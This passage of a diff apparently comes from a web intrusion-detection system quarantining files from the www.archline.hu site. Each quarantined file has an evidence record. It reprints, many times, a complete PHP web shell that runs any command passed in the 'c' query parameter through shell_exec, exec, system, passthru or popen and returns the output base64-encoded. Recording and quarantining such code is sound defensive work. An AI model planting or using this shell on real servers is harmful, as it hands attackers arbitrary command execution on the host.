"49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783870295, + "size": 1228, + "uid": 20043 + }, + "rel_path": "_h3x_nx6e9wei.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/_h3x_oqdklpwt.php.json b/var/www/hosting/archline.hu/www/_h3x_oqdklpwt.php.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_oqdklpwt.php.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/_h3x_oqdklpwt.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_oqdklpwt.php.json.evidence.json new file mode 100644 index 0000000..60a6b5d --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_oqdklpwt.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2922", + "log_excerpt": "[quarantine] www.archline.hu:_h3x_oqdklpwt.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_oqdklpwt.php.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783870216, + "size": 1228, + "uid": 20043 + }, + "rel_path": "_h3x_oqdklpwt.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/_h3x_q9pnu7nm.php.json b/var/www/hosting/archline.hu/www/_h3x_q9pnu7nm.php.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_q9pnu7nm.php.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/_h3x_q9pnu7nm.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_q9pnu7nm.php.json.evidence.json new file mode 100644 index 0000000..17a357a --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_q9pnu7nm.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2910", + "log_excerpt": "[quarantine] www.archline.hu:_h3x_q9pnu7nm.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_q9pnu7nm.php.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783909515, + "size": 1228, + "uid": 20043 + }, + "rel_path": "_h3x_q9pnu7nm.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/_h3x_t49gsxsb.php.json b/var/www/hosting/archline.hu/www/_h3x_t49gsxsb.php.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_t49gsxsb.php.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/_h3x_t49gsxsb.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_t49gsxsb.php.json.evidence.json new file mode 100644 index 0000000..5c9ff2d --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_t49gsxsb.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2886", + "log_excerpt": "[quarantine] www.archline.hu:_h3x_t49gsxsb.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_t49gsxsb.php.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783866426, + "size": 1228, + "uid": 20043 + }, + "rel_path": "_h3x_t49gsxsb.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/_h3x_tgzxhs6h.php.json b/var/www/hosting/archline.hu/www/_h3x_tgzxhs6h.php.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_tgzxhs6h.php.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/_h3x_tgzxhs6h.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_tgzxhs6h.php.json.evidence.json new file mode 100644 index 0000000..3eb704b --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_tgzxhs6h.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2891", + "log_excerpt": "[quarantine] www.archline.hu:_h3x_tgzxhs6h.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_tgzxhs6h.php.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783909515, + "size": 1228, + "uid": 20043 + }, + "rel_path": "_h3x_tgzxhs6h.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/_h3x_txdr2don.php.json b/var/www/hosting/archline.hu/www/_h3x_txdr2don.php.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_txdr2don.php.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/_h3x_txdr2don.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_txdr2don.php.json.evidence.json new file mode 100644 index 0000000..8859c1d --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_txdr2don.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2837", + "log_excerpt": "[quarantine] www.archline.hu:_h3x_txdr2don.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_txdr2don.php.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783865770, + "size": 1228, + "uid": 20043 + }, + "rel_path": "_h3x_txdr2don.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/_h3x_w2mu1xvl.php.json b/var/www/hosting/archline.hu/www/_h3x_w2mu1xvl.php.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_w2mu1xvl.php.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/_h3x_w2mu1xvl.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_w2mu1xvl.php.json.evidence.json new file mode 100644 index 0000000..ce8702c --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_w2mu1xvl.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2906", + "log_excerpt": "[quarantine] www.archline.hu:_h3x_w2mu1xvl.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_w2mu1xvl.php.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783904363, + "size": 1228, + "uid": 20043 + }, + "rel_path": "_h3x_w2mu1xvl.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/_h3x_zpjfu3nd.php.json b/var/www/hosting/archline.hu/www/_h3x_zpjfu3nd.php.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_zpjfu3nd.php.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/_h3x_zpjfu3nd.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_zpjfu3nd.php.json.evidence.json new file mode 100644 index 0000000..a475467 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_zpjfu3nd.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2860", + "log_excerpt": "[quarantine] www.archline.hu:_h3x_zpjfu3nd.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_zpjfu3nd.php.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783834298, + "size": 1228, + "uid": 20043 + }, + "rel_path": "_h3x_zpjfu3nd.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/cache/_h3x_7femdzwq.php.json.json b/var/www/hosting/archline.hu/www/cache/_h3x_7femdzwq.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/cache/_h3x_7femdzwq.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/cache/_h3x_7femdzwq.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/cache/_h3x_7femdzwq.php.json.json.evidence.json new file mode 100644 index 0000000..60b017c --- /dev/null +++ b/var/www/hosting/archline.hu/www/cache/_h3x_7femdzwq.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3115", + "log_excerpt": "[quarantine] www.archline.hu:cache/_h3x_7femdzwq.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cache/_h3x_7femdzwq.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783858331, + "size": 1228, + "uid": 20043 + }, + "rel_path": "cache/_h3x_7femdzwq.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/cache/_h3x_jbpjh349.php.json.json b/var/www/hosting/archline.hu/www/cache/_h3x_jbpjh349.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/cache/_h3x_jbpjh349.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/cache/_h3x_jbpjh349.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/cache/_h3x_jbpjh349.php.json.json.evidence.json new file mode 100644 index 0000000..21d1c83 --- /dev/null +++ b/var/www/hosting/archline.hu/www/cache/_h3x_jbpjh349.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3126", + "log_excerpt": "[quarantine] www.archline.hu:cache/_h3x_jbpjh349.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cache/_h3x_jbpjh349.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783857941, + "size": 1228, + "uid": 20043 + }, + "rel_path": "cache/_h3x_jbpjh349.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/cache/_h3x_kgo3v2ap.php.json.json b/var/www/hosting/archline.hu/www/cache/_h3x_kgo3v2ap.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/cache/_h3x_kgo3v2ap.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/cache/_h3x_kgo3v2ap.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/cache/_h3x_kgo3v2ap.php.json.json.evidence.json new file mode 100644 index 0000000..747be23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/cache/_h3x_kgo3v2ap.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3114", + "log_excerpt": "[quarantine] www.archline.hu:cache/_h3x_kgo3v2ap.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cache/_h3x_kgo3v2ap.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783838213, + "size": 1228, + "uid": 20043 + }, + "rel_path": "cache/_h3x_kgo3v2ap.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/cache/_h3x_qrl0utnk.php.json.json b/var/www/hosting/archline.hu/www/cache/_h3x_qrl0utnk.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/cache/_h3x_qrl0utnk.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/cache/_h3x_qrl0utnk.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/cache/_h3x_qrl0utnk.php.json.json.evidence.json new file mode 100644 index 0000000..7712009 --- /dev/null +++ b/var/www/hosting/archline.hu/www/cache/_h3x_qrl0utnk.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3123", + "log_excerpt": "[quarantine] www.archline.hu:cache/_h3x_qrl0utnk.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cache/_h3x_qrl0utnk.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783857960, + "size": 1228, + "uid": 20043 + }, + "rel_path": "cache/_h3x_qrl0utnk.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/cache/_h3x_suwbbwff.php.json.json b/var/www/hosting/archline.hu/www/cache/_h3x_suwbbwff.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/cache/_h3x_suwbbwff.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/cache/_h3x_suwbbwff.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/cache/_h3x_suwbbwff.php.json.json.evidence.json new file mode 100644 index 0000000..18b7dc8 --- /dev/null +++ b/var/www/hosting/archline.hu/www/cache/_h3x_suwbbwff.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3119", + "log_excerpt": "[quarantine] www.archline.hu:cache/_h3x_suwbbwff.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cache/_h3x_suwbbwff.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783838206, + "size": 1228, + "uid": 20043 + }, + "rel_path": "cache/_h3x_suwbbwff.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/cache/_h3x_xwl185f0.php.json.json b/var/www/hosting/archline.hu/www/cache/_h3x_xwl185f0.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/cache/_h3x_xwl185f0.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/cache/_h3x_xwl185f0.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/cache/_h3x_xwl185f0.php.json.json.evidence.json new file mode 100644 index 0000000..23bb1c0 --- /dev/null +++ b/var/www/hosting/archline.hu/www/cache/_h3x_xwl185f0.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3118", + "log_excerpt": "[quarantine] www.archline.hu:cache/_h3x_xwl185f0.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cache/_h3x_xwl185f0.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783861964, + "size": 1228, + "uid": 20043 + }, + "rel_path": "cache/_h3x_xwl185f0.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/images/2017/ch.txt b/var/www/hosting/archline.hu/www/images/2017/ch.txt new file mode 100644 index 0000000..ffa3fad --- /dev/null +++ b/var/www/hosting/archline.hu/www/images/2017/ch.txt @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/images/2017/ch.txt.evidence.json b/var/www/hosting/archline.hu/www/images/2017/ch.txt.evidence.json new file mode 100644 index 0000000..a3c1489 --- /dev/null +++ b/var/www/hosting/archline.hu/www/images/2017/ch.txt.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3515", + "log_excerpt": "[quarantine] www.archline.hu:images/2017/ch.txt -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/images/2017/ch.txt)", + "original_sha256": "f967b3425b2c080584e488492715af17fc29a5f5ef9f7f27d0108dbf128ecb15", + "original_stat": { + "gid": 30037, + "mtime": 1631683333, + "size": 12026, + "uid": 20043 + }, + "rel_path": "images/2017/ch.txt", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/images/_h3x_3bh4rjb2.php.json.json b/var/www/hosting/archline.hu/www/images/_h3x_3bh4rjb2.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/images/_h3x_3bh4rjb2.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/images/_h3x_3bh4rjb2.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/images/_h3x_3bh4rjb2.php.json.json.evidence.json new file mode 100644 index 0000000..3f8cd22 --- /dev/null +++ b/var/www/hosting/archline.hu/www/images/_h3x_3bh4rjb2.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3510", + "log_excerpt": "[quarantine] www.archline.hu:images/_h3x_3bh4rjb2.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/images/_h3x_3bh4rjb2.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783838205, + "size": 1228, + "uid": 20043 + }, + "rel_path": "images/_h3x_3bh4rjb2.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/images/_h3x_46wa7ggf.php.json.json b/var/www/hosting/archline.hu/www/images/_h3x_46wa7ggf.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/images/_h3x_46wa7ggf.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/images/_h3x_46wa7ggf.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/images/_h3x_46wa7ggf.php.json.json.evidence.json new file mode 100644 index 0000000..52a80e0 --- /dev/null +++ b/var/www/hosting/archline.hu/www/images/_h3x_46wa7ggf.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3494", + "log_excerpt": "[quarantine] www.archline.hu:images/_h3x_46wa7ggf.php.json.json -> quarantined 